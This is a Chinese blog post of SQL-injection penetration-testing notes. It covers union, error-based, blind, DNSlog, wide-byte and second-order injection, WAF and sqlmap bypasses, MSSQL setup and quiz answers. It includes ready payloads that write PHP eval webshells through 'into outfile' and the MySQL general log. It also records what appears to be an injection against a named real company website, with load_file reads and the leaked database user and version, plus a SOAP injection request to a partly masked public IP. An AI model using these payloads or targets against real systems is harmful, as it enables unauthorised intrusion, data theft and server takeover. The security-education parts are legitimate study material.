渗透测试-注入攻击专题

amingMM

已于 2023-10-27 09:56:12 修改

阅读量3.8k

点赞数

文章标签： sql mysql 数据库

于 2022-03-11 16:40:05 首次发布

amingMM

本文链接：https://blog.csdn.net/qq_33608000/article/details/123428673

版权

渗透测试- 注入

网络安全高手的进阶蜕变之旅
第二章：SQL注入语法类型
第三章：SQL 盲注
第四章：SQL注入防御绕过
第五章：MsSQL数据库注入
- 5.1 MsSQL数据库环境搭建
- TSQL 数据操作语言
sql注入备忘录


POST /WebService/InterfaceForJN/search_realdata.asmx HTTP/1.1
Host: 60.x.x.x:8001
Accept-Encoding: gzip, deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: "http://tempuri.org/GetRealData"
Content-Length: 508
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
   <soapenv:Header/>
   <soapenv:Body>
      <tem:GetRealData>
         <!--Optional:--><tem:cityname>1*</tem:cityname>
         <!--Optional:-->
         <tem:subname>1</tem:subname>
         <!--Optional:-->
         <tem:subid>1</tem:subid>
         <!--Optional:-->
         <tem:wastetype>1</tem:wastetype>
      </tem:GetRealData>
   </soapenv:Body>
</soapenv:Envelope>





https://www.bilibili.com/read/cv6562645/
【sql injection】

https://mp.weixin.qq.com/s/8grPMYzNbwhgRRDcE57U7Q


order by
/**/
boolen等式  能够被带入查询语句并显示不同效果
当条件不符合时，71-false=71，显示71.html，无数据

http://EDU_SITE/.../..._id/71-false.html

=> SELECT ..FROM .. WHERE ... AND _id=71-false


获取用户名长度
http://EDU_SITE/.../..._id/71-(length(user())=12).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)

获取数据库长度
http://EDU_SITE/.../..._id/71-(length(database())=6).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)

burpsuite的clusterboom模式对database进行爆破


【SQL注入 getshell】

写文件--into outfile

前提：
网站的绝对路径
没有对引号进行过滤
文件必须有写的权限




union select getshell
payload:1' union select 1,'<?php eval("$_POST[2]")?>',3 into outfile 'd:/phpstudy_pro/www/1.php'--+




lines terminated by 

        lines terminated by 该语句是设置每行数据结尾的字符，可以设置为单个或多个字符，默认为“/n”;
        
payload: ?id=1' into outfile 'd:/phpstudy_pro/www/2.php'lines terminated by'<?php eval("$_POST[8]")?>'--+3.





lines starting getshell
lines starting getshell该语句为设置每行开头的字符

payload：?id=1' into outfile 'd:/phpstudy_pro/www/3.php'lines starting by'<?php eval("$_POST[8]")?>'--+ 





fields terminated getshell
fields terminated by 设置字段之间的分隔符，默认值是"\t"

payload：?id=1')) into outfile'd:/phpstudy_pro/www/4.php' fields terminated by '<?php eval("$_POST[8]")?>'--+ 






COLUMNS terminated getshell
COLUMNS terminated by 设置字段之间的分隔符，默认值是"\t"

payload：?id=1')) into outfile'd:/phpstudy_pro/www/6.php' COLUMNS terminated by'<?php eval("$_POST[4]")?>'--+ 


getshell-数据表getshell
前提：需要将shell内容插入数据表中，在将表内容写成可执行文件，所以要想利用它getshell，一般数据库有堆叠注入或phpmyadmin或有一个数据库的基本权限才能getshell。

payload：id=1';insert into users(username,password) values('<?php eval("','$_POST[2]")?>')--+ 





getshell-日志getshell
7.1 开启全局日志配置

payload：?id=1';set global general_log = on;--+

7.2设置日志路径（webshell路径）

id=1';set global general_log_file = 'd:/phpStudy_pro/WWW/8.php';--+

7.3写入木马病毒

id=1';select '<?php eval("$_POST[2]")?>';--+

payload： 


 【waf  绕过】

mysql4.0注入实战

 SELECT user() 
 select database() 
 select version()
 
SELECT * FROM information_schema.SCHEMATA

 select table_name from information_schema.tables where table_schema='db_name' 
 // 当前数据库 db_name  所有表

在这里插入图片描述

 http://www.cowinbio.com/



属于mysql4.0 注入一个实例

路径：/usr/local/webroot/cw/product/introduction.php

mywebmanage/conn.php

http://www.cowinbio.com/product/introduction.php?id=-65 union select load_file('/usr/local/webroot/cw/product/introduction.php'),2

http://www.cowinbio.com/product/introduction.php?id=65%20order%20by%202

http://www.cowinbio.com/product/introduction.php?id=65 union select 1,2

version():4.1.22-standard
user():root@localhost
database():cw

http://www.cowinbio.com/product/introduction.php?id=65 union select 1,2 

load_file()

sqlmap -u url注入地址 --sql-shell 执行sql命令




mysql5.0  

into outfile 
information

代码审计——sql注入漏洞常规挖掘分析/实战

在这里插入图片描述

- 挖掘方法

在这里插入图片描述 - 数据库操作性函数写到配置环境（暂时忽略）

在这里插入图片描述

PHP mysql_real_escape_string() 函数

转义 SQL 语句中使用的字符串中的特殊字符
下列字符受影响：

\x00
\n
\r
\
’
"
\x1a

如果成功，则该函数返回被转义的字符串。
如果失败，则返回 false。

PHP addslashes() 函数

——返回在预定义字符之前添加反斜杠的字符串。
预定义字符是：

单引号（'）
双引号（"）
反斜杠（\）
NULL

提示：
可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注释：
PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。
所以您不应对已转义过的字符串使用 addslashes()，因为这样会导致双层转义。
遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。在这里插入图片描述

PHP htmlentities() 函数

——把字符转换为 HTML 实体。
提示：
要把 HTML 实体转换回字符，请使用 html_entity_decode() 函数。
请使用 get_html_translation_table() 函数来返回 htmlentities() 使用的翻译表。

PHP htmlspecialchars() 函数

——把一些预定义的字符转换为 HTML 实体

预定义的字符是：

& （和号） 成为 &amp;
" （双引号） 成为 &quot;
' （单引号） 成为 &#039;
< （小于） 成为 &lt;
> （大于） 成为 &gt;

在这里插入图片描述

PHP strip_tags() 函数

——剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释：该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

注释：该函数是二进制安全的。

在这里插入图片描述

PHP md5() 函数

——md5() 函数计算字符串的 MD5 散列。
——md5() 函数使用 RSA 数据安全，包括 MD5 报文摘要算法。

在这里插入图片描述

PHP sha1() 函数

——sha1() 函数计算字符串的 SHA-1 散列。
——sha1() 函数使用美国 Secure Hash 算法 1

PHP intval() 函数

——函数用于获取变量的整数值。
——通过使用指定的进制 base 转换（默认是十进制）
返回变量 var 的 integer 数值。
—— intval() 不能用于 object，否则会产生 E_NOTICE 错误并返回 1。

在这里插入图片描述

# 适用人群

安全开发
程序员
渗透测试人员
id=1 写死
可操控 $_POST 接收
安全函数查看是否严谨
注入是否进行限制
来判断 sql注入漏洞在这个地方是否存在

# 数据库监控

监控插件监控sql操作语句词型
访问网站特殊地址查看数据库操作语句执行在哪个地方
追寻代码文件地址
跟踪代码是否可控绕过
分析哪个语句跟当前访问页面参数相关
尝试更改参数追加确认

在这里插入图片描述

作为全局搜索
如果不确定就打开一个注释下
更改参数查看页面状态

在这里插入图片描述

语句注释后页面报错
确认是当前页面代码文件

在这里插入图片描述

注意传值方法
追踪该方法有没有相关绕过过滤条件
若没有可能存在注入点

#实战挖掘#

在这里插入图片描述

变量全局搜索
访问相关文件
传入验证绕过所需参数
并且开启数据库监控
补足验证条件
构造 ?id=1 order = 1 &u …

在这里插入图片描述

%23 -----> #

盲注测试

在这里插入图片描述

构造 ?id=1 union select 1,2,3 &u …
页面注入测试
联合注入失败
测试盲注

在这里插入图片描述

0.5 ---->延时2s
一般延时注入要比联合注入通用性好

# 总结

访问敏感页面
监控数据库
查找执行出处函数方法
监控出处处变量
追踪变量是否过滤
sql是否存在
关键字搜索 ——任何漏洞挖掘比较常用
数据库监控—— 类似于 SQL注入这种相应

网络安全高手的进阶蜕变之旅

web安全工程师-01-SQL注入漏洞原理与利用

1.1 Web应用架构分析

1998 年至今 20多年了

爆出 sql 注入导致大量数据泄露

发现问题 —> 规避 sql注入带来的风险
研究 web框架能使我们更熟悉框架审计中注入的原理
在这里插入图片描述

B/S 架构开始的时候数据库和网站在同一台服务器上

webapp 网站放在容器里
容器和数据库软件安装在操作系统里
逻辑对数据库的操作来实现网站功能

在这里插入图片描述
之后互联网技术发展
大量数据大量请求需要 web应用来处理

集群效果

在这里插入图片描述
中间件容器

请添加图片描述

在这里插入图片描述

1.2 SQLi注入环境搭建

在这里插入图片描述

部分漏洞需要 tomcat环境
WAMP 一款windows系统下的Apache+PHP+Mysql集成环境整合包
在这里插入图片描述

工程配置信息路径等

在这里插入图片描述
部署的代码

在这里插入图片描述
需要的应用

在这里插入图片描述

windows 和 linux 换行符不一样导致记事本不换行

在这里插入图片描述

不同难度级别

在这里插入图片描述

Linux docker 安装 sqli labs
在这里插入图片描述
docker images

在这里插入图片描述
docker search sqli-labs

docker pull acgpiano/sqli-labs

在这里插入图片描述

docker run -dt --name sqli -p 80:80 --rm acogiano/sqli-labs

后台运行
再命名
本地：docker 端口 —端口映射
创建清理镜像
在这里插入图片描述

边看代码边学习注入

1.3 SQL注入原理分析

在这里插入图片描述

注意返回长度 select 1，version()

docker exec -it xxxname /bin/bash

用1 来占位

在这里插入图片描述

# %23 注释符号

在这里插入图片描述

MySQL注入方法逻辑运算及常用函数

在这里插入图片描述

~ 0x7e

在这里插入图片描述

登陆处注入构造万能密码

 'or '1'='1

在这里插入图片描述

时间延时注入

在这里插入图片描述

updatexml
在这里插入图片描述
xpath格式

报错注入

SQL注入流程

在这里插入图片描述

灵活构造参数用于搜索引擎

页面爬取动态链接去依次注入测试

在这里插入图片描述

这种更适用于有登陆验证授权或 cookie 的案例

* 用在漏洞 sql注入特别了解

在这里插入图片描述
黑盒测试

白盒测试寻找测试点
在这里插入图片描述

id 参数存在 sql注入漏洞

从 sql命令往上找反向
GET POST 用户数据正向

在这里插入图片描述
flask路由对用户输入地址识别
进入不同方法进行处理

直接用 form表单
validate 有效性判断 password 没有做处理
获取到数据
在这里插入图片描述
直接 insert 添加到数据库中

在这里插入图片描述
密码做了 hash 处理没法对数据库直接操作

username 做了正则匹配也没办法

email 邮箱注册验证
在这里插入图片描述
邮箱没有对输入内容进行验证

构造 payload

Microsoft JET Access 数据库

在这里插入图片描述
mysql 5.x 存在用数据语句内置库表列 -->查询关键数据

access 不存在库信息
在这里插入图片描述

sqlserver sa权限执行系统命令

mysql 权限低不能直接执行系统命令
读文件配置文件
tomcat 管理员管理密码部署webshell 变相提权
读取数据库配置文件 - 账号密码

写文件 --os-shell
php-mysql 写一个 webshell 到网站目录执行系统命令变相提权

SQL手工注入方法

在这里插入图片描述
引擎层
实现数据存取
定义数据存储的格式方式

sql层
特定的语法完成数据库任务执行
执行结果处理返回可识别信息

连接层
通讯协议线程验证

在这里插入图片描述
结构化查询语句
授权
数据库定义控制操作查询语言
解析器
优化器
执行器
引擎层
缓存

了解基础原理

在这里插入图片描述
库 xx小学
表 xx年级xx班
列序号学号姓名性别
数据 1 x x x

库功能操作

mysql 账户信息
sys 元数据信息
performance_schema 性能参数参数设置收集
information_schema 访问元数据

在这里插入图片描述
十六进制不需要单引号 ’ '包裹

1.BIN:binary,二进制的;
2.OCT:octal,八进制的;
3.HEX:hexadecimal,十六进制的;
4.DEC:decimal,十进制的。

Hash是把任意长度的输入通过散列算法变换成固定长度的输出，该输出就是散列值

在这里插入图片描述

bp 用在时间布尔盲注比较多

在这里插入图片描述进行简单的逻辑判断
联合查询之前判断字段长度

在这里插入图片描述
多条数据 group_concat 粘在一起显示

在这里插入图片描述

信息收集

在这里插入图片描述

mysql 提权不可以直接执行系统命令

通过读写文件进行提权
在这里插入图片描述
文件 php 格式在页面显示不出来在源码里可看

读数据库配置密码
系统配置文件
在这里插入图片描述权限文件系统信息注意权限大小

写入 webshell 到目录提权

在这里插入图片描述

不能创建写文件

权限不够

在这里插入图片描述
实在不行就换个不需要文件权限的

权限可以就能写入目标目录

实验测试——SQL注入漏洞原理及防范-上

漏洞介绍：

    SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一，
    它也是目前被利用得最多的漏洞。要学会如何防御SQL注入，
    我们首先要对他的原理进行了解。
    
    SQL注入（SQLInjection）是这样一种漏洞：
    当我们的Web app在向后台数据库传递SQL语句进行数据库操作时。
    如果对用户输入的参数没有经过严格的过滤处理，那么恶意访问者就可以构造特殊的SQL语句，
    直接输入数据库引擎执行，获取或修改数据库中的数据。

漏洞危害：

直接就造成数据库中的数据泄露
如果数据库连接用户具备高权限，则可能导致恶意访问者获取服务器控制
众多安全事件的切入点。

实验环境工具介绍：

火狐浏览器

HackBar：
一款Firefox浏览器下的黑客插件
Sql注入以及Xss测试或进行各种编码功能等。
在火狐的附加组件中搜索“hackbar”，将它添加到火狐浏览器中，重启后Firefox后安装完成，按F9键打开我们就会看到在地址栏下面会出现一个大框框就是hackbar了。
安装完后，打开火狐浏览器，在工具=》附加组件里搜索“HackBar”并安装，如下图：

在这里插入图片描述
安装完后，重启一下火狐浏览器才会生效

在这里插入图片描述

重启完后，打开百度，你会发现标签栏处多了一些工具条，它就是HackBar插件，
首次打开是开启的，可以通过F9来切换工具条是否显示与隐藏。
我们可以点击Load URL将URL栏的地址加载到HackBar窗口中，
可以利用HackBar工具栏提供了很多web开发相关的命令，像urlencode,urldecode等常见命令。

在这里插入图片描述

实验测试——SQLmap工具的使用-SQLmap初步

实验目的：

学习使用SQLmap进行注入点判断
学习使用SQLmap注入出数据

实验工具：

SQLmap

SQLmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL，Oracle，PostgreSQL，Microsoft SQL Server，Microsoft Acess，IBM DB2，SQLLite，Firebird，Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术，分别是盲推理SQL注入，UNION查询SQL注入，对查询和盲注。其广泛的功能和选项包括数据库指纹，枚举，数据库提取，访问目标文件系统，并在获取完全操作权限时实行任意命令。

实验内容：

本部分学习使用SQLmap进行简单的注入点判断并注入出数据。

第二章：SQL注入语法类型

2.1 union联合查询注入

在这里插入图片描述

insert update 都不可以使用 union
在这里插入图片描述
orderby 对第几列进行排序

在这里插入图片描述

’ 闭合单引号

–+ 注释掉后面的单引号

在这里插入图片描述
union 内部的 select 语句必须有相同的列

在这里插入图片描述

union 把两个 select 结果集结合到一块

二分法查询列长度

在这里插入图片描述
select 语句可以嵌套

在这里插入图片描述

2.2 报错注入

在这里插入图片描述

进行匹配波浪号账号密码

在这里插入图片描述

构造非法 xpath 值

在这里插入图片描述

在这里插入图片描述
方便快速脚本正则匹配

在这里插入图片描述注意报错返回的长度 32位

在这里插入图片描述
将数据截取

在这里插入图片描述 dumb

实验地址：实验测试——SQLmap工具的使用-POST注入

实验目的：
学习使用SQLmap工具进行注入POST类型的SQL注入点。

实验工具：

SQLmap

实验内容：

本次实验将使用SQLmap工具进行注入POST类型的SQL注入点。

实验地址：实验测试——SQLmap工具的使用-cookie注入

实验目的：
学习使用SQLmap工具进行注入cookie类型的SQL注入点。
实验工具：
SQLmap
SQLmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL，Oracle，PostgreSQL，Microsoft SQL Server，Microsoft Acess，IBM DB2，SQLLite，Firebird，Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术，分别是盲推理SQL注入，UNION查询SQL注入，对查询和盲注。其广泛的功能和选项包括数据库指纹，枚举，数据库提取，访问目标文件系统，并在获取完全操作权限时实行任意命令。

实验内容：

本实验将使用SQLmap工具进行注入cookie类型的SQL注入点。

检测二

答案：
1、解析： D、首先要构造语句，让正常的数据无法返回，这里选择id=－1，接着要构造显示内容，3,5,8,7,4让这些数字显示在对应位置，这里只要没用相同的数字，我们就能判断出每个数字所代表的唯一位置，从而判断出哪里回显数据。
2、解析： A、通过union select的长度，可以判断出返回数据的列，通过user()，可以直接显示当前数据的用户名，通过(select database())可以查询出当前数据库的库名称并返回。
3、解析： C、updatexml接收3个参数，第一个XML文档，第二个xpath语句，第三是要替换成为的字符串。
4、解析： C、报错注入的关键就是要显示错误语句，如果不显示，我们就不能通过报错看到内容。
5、解析： A、只要数据库触发到了报错语句，就会产生报错，并将报错信息显示到页面上。

实验地址：实验测试——SQLmap工具的使用-执行SQL命令

实验目的：

学习通过SQLmap工具执行SQL命令的几种不同的方式。

实验工具：

SQLmap

实验内容：

学习通过SQLmap工具执行SQL命令的几种不同的方式：

1.执行指定的SQL语句
2.交互式的SQL命令行
3.执行文件中的SQL语句

第三章：SQL 盲注

布尔盲注

在这里插入图片描述单引号反义导致注入失败
转成数字比对避免单引号出现

在这里插入图片描述
猜出 email

更换别的表
在这里插入图片描述猜解 ref 不像是数据

在这里插入图片描述猜解 uag
猜解 user
users 都一样

a-z 下划线 0-9

在这里插入图片描述判断列名

在这里插入图片描述
改变 limit 值对第二列测试

在这里插入图片描述

ASCII 0-127

48 - 0
122 - Z

在这里插入图片描述

3.2 SQL盲注－时间注入

判断页面返回真与假识别数据库中的信息
在这里插入图片描述
通过返回时间的快慢来识别数据库中的信息

没有回显真假
只是构造语句分析时长

登录场景

在这里插入图片描述

注入语法

在这里插入图片描述
无论怎样都是一个页面

在这里插入图片描述

if left 时间盲注

在这里插入图片描述

时间盲注小脚本

在这里插入图片描述

3.3 Dnslog盲注

在这里插入图片描述

在这里插入图片描述
服务器上的应用对外开放服务

公网ip:端口 ----- 对应功能

引入 dns
在这里插入图片描述

DNS Server 存储用户访问的域名信息

在这里插入图片描述
布尔时间盲注猜字游戏
效率比较低也容易触发防护

在这里插入图片描述 UA
User-Agent会告诉网站服务器，访问者是通过什么工具来请求的
中文名为用户代理，是Http协议中的一部分，属于头域的组成部分，
User Agent也简称UA。
它是一个特殊字符串头，是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。
通过这个标识，
用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计；

在这里插入图片描述

dns log 平台

在这里插入图片描述

dnslog 盲注目标一定是 windows操作系统

在这里插入图片描述

dns 记录不可以用 ~ 等特殊符号

在这里插入图片描述
构造语句

用哈希查看完再哈希回来

在这里插入图片描述

工程化注入
速度快效率高人为参与少
在这里插入图片描述
定义查询数据的语句
数据库
表名
获取数据

在这里插入图片描述

执行 payload

在这里插入图片描述
对 dnslog 平台的接口进行访问

入口处接收参数

在这里插入图片描述

识别随机串

在这里插入图片描述

答案：
1、解析： B、页面依据提交的数据，返回不同的内容，但是不回直接显示数据库中的信息，此处如果存在SQL注入，必然是盲注
2、解析： B、在所有类型的注入点，都可以使用时间盲注。
3、解析： A、依据题意可知，当前库名称的第一位的ASCII码为115，既s。
4、解析： B、load_file函数在Linux下是无法用来做dnslog攻击的。
5、解析： A、ABC都是dnslog盲注的特点。

第四章：SQL注入防御绕过

4.1 宽字节注入

常规 + web/mysql/php 一些方法注入
在这里插入图片描述

英文一个字节
中文两个字节默认

A-Z 48种

一个字节 8bit位二进制
01组合种类 255种

一个字节表示中文字符 255不够

16bit来表示

在这里插入图片描述

安全编码特殊符号转义防止恶意注入

在这里插入图片描述

 url编码，网址字符串
 浏览器自动对中文和一些特殊字符转码，形式为：＂%二位十六进制数＂，
 代表一个字节，如果是中文是2个字节，
 就需要两个%。如果没有自动转码，就要自己转，比如js中有escape和encodeURI，
 在接收这样字符串的程序中如需还原成中文，就分别用unescape和decodeURI。
 其他程序语言中都有相应的url字符转码函数。

在这里插入图片描述

字符替换 SQL注入防护

gbk编码连接

联合查询
报错 / 直接页面显示
在这里插入图片描述

php 内置函数

在这里插入图片描述

宽字节防御

用utf-8 彻底杜绝
在这里插入图片描述

使用二进制数据库连接

在这里插入图片描述

4.2 二次编码注入

在这里插入图片描述

防止发生歧义

在这里插入图片描述

各个语言都有自己的解码工具类

在这里插入图片描述

构造错误

4.3 二次注入

在这里插入图片描述

认为数据库中可信

在这里插入图片描述

重置数据库

在这里插入图片描述

经过 php 方法特殊字符转义

在这里插入图片描述

mysql_real_eacape_string() 特殊字符转义

二次注入防御：外部提交的数据进行谨慎对待（不仅仅是特殊字符转义）

在这里插入图片描述

默认从数据库中查询到的数据就是安全的

在这里插入图片描述
windows 环境 – 其他环境也可以考虑 dnslog注入

linux 只能使用二次注入

4.4 WAF绕过原理分析

防护：代码层、网络层、服务器层

waf 网站应用级入侵防御系统。英文：Web Application Firewall

在这里插入图片描述

了解中间件机制 iis tomcat nginx
preg_replace() + i 忽略大小写

在这里插入图片描述

中间件和 waf 的区别进行污染

能够注入
waf 规则匹配不到的数据格式
%25 为 %

在这里插入图片描述

挑一个可以注入的

在这里插入图片描述

把空格全部替换
确定页面只有三列
分割

在这里插入图片描述

4.5 SQLmap绕过WAF脚本编写

应对waf时定制化 payload 继续注入

在这里插入图片描述

sqlmap 介绍

在这里插入图片描述

指明对哪一个参数进行测试 -d

id = 1 后键入 *
在一些伪静态场景很好用
–dbs 列出所有库的名称

执行系统命令 -os-shell

sqlserver sa用户 --> 调用 SqlServer系统内置函数---->执行命令
mysql （前提知道网站所在目录）写入后门文件到目录 —>执行系统命令
在这里插入图片描述
执行 sql语句 -sql-shell
输入 sql 语句

读文件 + 路径
写文件 + 本地文件 --file-dest 目标及文件

Tamper脚本介绍

在这里插入图片描述

编写Tamper

在这里插入图片描述

PHP函数 preg_replace

\s 空白字符
\t 换行符

在这里插入图片描述

刷新重新开始 --flush-session
union all select
%a0换行符空格
%0a 空格

在这里插入图片描述

答案：

1、解析： C、注解：很显然，utf-8并不是宽字节。
2、解析： B、注解：键入%df，尝试于转义字符\进行组合，形成汉字字符。
3、解析： C、注解：B，使用强校验，防御所有可能的恶意语句，可以有效避免SQL注入。
4、解析： D、注解：云WAF一班都有较好的防护性能和较强的防护规则，期望构造语句进行绕过可能存在困难，我们选择寻找真实的IP，就能一劳永逸的绕过防护，当然，这也只是应用在一些场景。
5、解析： B、注解：replace函数的格式为A

第五章：MsSQL数据库注入

5.1 MsSQL数据库环境搭建

在这里插入图片描述

mssql 数据库特性
asp.net + mssql
sqlserver
权限配置对整个服务器造成隐患

绕过注入流程与 mysql 没什么区别

数据库结构
函数名
数据操作语言
存储过程

在这里插入图片描述

数据默认存放目录
身份验证 windows（SQLserver 不参加验证） / 混合（或）验证
SA 是 SqlServer最高权限-超级管理员登录需要密码
密码复杂有要求

登录后
带 ## 有证书创建在SqlServer 内部使用
映射一个 win系统账户
NT 也是内置账户实现特使功能 mssql server
两层并行安全架构权限

sysadmin
public

在这里插入图片描述

db_owner DBO
public

在这里插入图片描述

sqlserver SID 安全标识符

TSQL 数据操作语言

在这里插入图片描述

在这里插入图片描述
创建更复杂的存储过程

在这里插入图片描述
master 一切对象信息 sa 和其他账号的密码
model 创建用户数据库的模板
msdb 用户数据库任务调度告警操作元信息
tempdb 临时数据库数据库重启丢失

在这里插入图片描述
新建数据库用户

DML 管理语句
DDL 修改数据库结构
DCL 授权语句

在这里插入图片描述

只是一个视图并没有这个表

从视图里查询

在这里插入图片描述

iis 服务器组件

在这里插入图片描述

添加 iis user

在这里插入图片描述

数据连接在 webconfig设置

index.aspx

在这里插入图片描述

添加这个控件自动生成 ConnectionStrings 连接需要

在这里插入图片描述

关闭default 这个 127.0.0.1 本地站在这里插入图片描述

localsystem 是安装时候的权限 SqlServer

在这里插入图片描述

修改项目

在这里插入图片描述

直接拼接
没过滤参数化处理

在这里插入图片描述

https://websec.ca/kb/sql_injection

sql注入备忘录

在这里插入图片描述

5.2 MsSQL数据库注入

 MSSQL(MicroSoft SQL Server数据库)
微软开发的关系型数据库管理系统DBMS
较大型的数据库
提供数据库的从服务器到终端的完整的解决方案，
数据库管理系统SSMS(SQL Server Managerment Studio)，是一个用于建立、使用和维护数据库的集成开发环境。 端口号：1433

在这里插入图片描述
存储过程
视图名函数名
站库分离
多语句注入